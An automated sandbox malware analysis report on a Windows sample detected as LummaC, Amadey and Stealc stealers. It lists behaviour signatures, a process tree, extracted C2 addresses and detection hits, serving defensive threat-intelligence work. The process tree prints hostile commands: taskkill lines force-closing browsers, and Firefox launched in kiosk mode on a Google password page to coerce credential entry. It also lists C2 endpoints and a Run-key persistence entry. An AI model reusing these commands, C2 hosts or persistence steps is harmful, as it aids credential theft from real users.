Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545324
MD5:	c9026d15b750cd2d99e938c9a16c0fea
SHA1:	ac28095ed9fd5546cb2b71e54a6cbaa8ba5fd129
SHA256:	e1a0807d2313553a9e5c3997162f9228d9d88bb171bf90c653b15d5195fef36e
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3608 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C9026D15B750CD2D99E938C9A16C0FEA)

GVDV7NGS54W9A7T64.exe (PID: 5592 cmdline: "C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe" MD5: 6EB4B86646866EA6FA65E78F6D15E44A)

AJK1SC9862O5LRO4.exe (PID: 6840 cmdline: "C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe" MD5: 8E78C36254328BDAFF299220F0FC1D82)

skotes.exe (PID: 6216 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 8E78C36254328BDAFF299220F0FC1D82)

7f3598dc65.exe (PID: 3352 cmdline: "C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe" MD5: C9026D15B750CD2D99E938C9A16C0FEA)

RIT5CLJSOG1HZLWAHXIC60.exe (PID: 8 cmdline: "C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe" MD5: 6EB4B86646866EA6FA65E78F6D15E44A)

WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe (PID: 7260 cmdline: "C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe" MD5: 8E78C36254328BDAFF299220F0FC1D82)

606111e8b5.exe (PID: 2496 cmdline: "C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe" MD5: 9EC79EAC864343887ECDF94B7D236918)

dd62608cd9.exe (PID: 4296 cmdline: "C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe" MD5: 388A4D9E5A5EC3446324F1DCFEE1F8DB)

taskkill.exe (PID: 4564 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1664 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4588 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4504 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6036 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6912 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 6316 cmdline: "C:\Users\user\AppData\Local\Temp\1002608001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

skotes.exe (PID: 6528 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 8E78C36254328BDAFF299220F0FC1D82)

skotes.exe (PID: 5856 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 8E78C36254328BDAFF299220F0FC1D82)

7f3598dc65.exe (PID: 764 cmdline: "C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe" MD5: C9026D15B750CD2D99E938C9A16C0FEA)

CR7UQWGVREF7AZUSI54N0N8MGR.exe (PID: 7664 cmdline: "C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe" MD5: 6EB4B86646866EA6FA65E78F6D15E44A)

D0QMSIUHN1DMZFTBB2S7.exe (PID: 8004 cmdline: "C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe" MD5: 8E78C36254328BDAFF299220F0FC1D82)

firefox.exe (PID: 5004 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5928 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6956 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8bf06fec-0dcd-48c2-953a-7c50b40f4239} 5928 "\\.\pipe\gecko-crash-server-pipe.5928" 2b9a4e6df10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1376 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4288 -parentBuildID 20230927232528 -prefsHandle 4664 -prefMapHandle 4200 -prefsLen 26431 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f1f2212-7e79-4ebe-a85e-e2d9c0caa83f} 5928 "\\.\pipe\gecko-crash-server-pipe.5928" 2b9b6ee1210 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

606111e8b5.exe (PID: 6376 cmdline: "C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe" MD5: 9EC79EAC864343887ECDF94B7D236918)

dd62608cd9.exe (PID: 7276 cmdline: "C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe" MD5: 388A4D9E5A5EC3446324F1DCFEE1F8DB)

taskkill.exe (PID: 7452 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7680 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7736 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7888 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7944 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 8020 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8032 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4596 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2220 -prefsLen 25416 -prefMapSize 238941 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d9e7d52-f4a7-4cd9-91e8-b4288aaa4407} 8032 "\\.\pipe\gecko-crash-server-pipe.8032" 23e7356d710 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 7596 cmdline: "C:\Users\user\AppData\Local\Temp\1002608001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["founpiuer.store", "navygenerayk.store", "fadehairucw.store", "necklacedmny.store", "thumbystriw.store", "presticitpo.store", "crisiwarny.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1002608001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000003.2099183730.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.2360101819.0000000000D11000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2292834036.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000000.2344313547.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000000.2344210993.0000000000D11000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2261496330.0000000005740000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.2520754609.0000000000F71000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1757652611.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2102133109.00000000050E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000003.2055282800.0000000005390000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2426207049.000000000062E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2470951656.000000000068E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2096481983.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2310828358.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2471200478.0000000000692000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2376427706.0000000000682000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2366019019.000000000067E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2142549332.0000000000D21000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000000.2573310772.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000000.2573197213.0000000000D11000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2452134408.0000000000682000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2309214794.0000000000F71000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2470591112.0000000000688000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2389420379.0000000000682000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.2590932503.0000000000D11000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.2591047793.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.2426511088.0000000005170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.2360865122.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.2557479019.00000000000E1000.00000040.00000001.01000000.0000001C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.2588992623.00000000004D8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.2363112803.000000000159E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000003.2516417905.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.2336121912.0000000000D21000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2368992394.0000000000682000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3608	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 3608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3608	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7f3598dc65.exe PID: 3352	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7f3598dc65.exe PID: 3352	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7f3598dc65.exe PID: 3352	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 606111e8b5.exe PID: 2496	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 606111e8b5.exe PID: 2496	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: dd62608cd9.exe PID: 4296	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 7f3598dc65.exe PID: 764	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7f3598dc65.exe PID: 764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7f3598dc65.exe PID: 764	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: num.exe PID: 6316	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 6316	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 606111e8b5.exe PID: 6376	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 606111e8b5.exe PID: 6376	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 52 entries

Unpacked PEs

Source	Rule	Description	Author
26.2.num.exe.d10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
26.0.num.exe.d10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
37.0.num.exe.d10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
9.2.606111e8b5.exe.f70000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
37.2.num.exe.d10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
32.2.WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.606111e8b5.exe.f70000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
7.2.skotes.exe.d20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.skotes.exe.d20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.AJK1SC9862O5LRO4.exe.da0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6216, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7f3598dc65.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6216, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7f3598dc65.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:03.665646+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-30T12:36:05.073541+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-30T12:36:31.265875+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49743	188.114.97.3	443	TCP
2024-10-30T12:36:54.515181+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49748	188.114.97.3	443	TCP
2024-10-30T12:36:55.877667+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49750	188.114.97.3	443	TCP
2024-10-30T12:37:07.422923+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49788	188.114.97.3	443	TCP
2024-10-30T12:37:08.720612+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49800	188.114.97.3	443	TCP
2024-10-30T12:37:10.154956+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49811	188.114.97.3	443	TCP
2024-10-30T12:37:29.797576+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49953	188.114.97.3	443	TCP
2024-10-30T12:37:42.193190+0100	2054653	1	A Network Trojan was detected	192.168.2.4	62823	188.114.97.3	443	TCP
2024-10-30T12:37:43.455122+0100	2054653	1	A Network Trojan was detected	192.168.2.4	62837	188.114.97.3	443	TCP
2024-10-30T12:37:51.550849+0100	2054653	1	A Network Trojan was detected	192.168.2.4	62891	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:03.665646+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-30T12:36:54.515181+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49748	188.114.97.3	443	TCP
2024-10-30T12:37:08.720612+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49800	188.114.97.3	443	TCP
2024-10-30T12:37:42.193190+0100	2049836	1	A Network Trojan was detected	192.168.2.4	62823	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:05.073541+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-30T12:36:55.877667+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49750	188.114.97.3	443	TCP
2024-10-30T12:37:10.154956+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49811	188.114.97.3	443	TCP
2024-10-30T12:37:43.455122+0100	2049812	1	A Network Trojan was detected	192.168.2.4	62837	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:36:02.885016+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	188.114.97.3	443	TCP
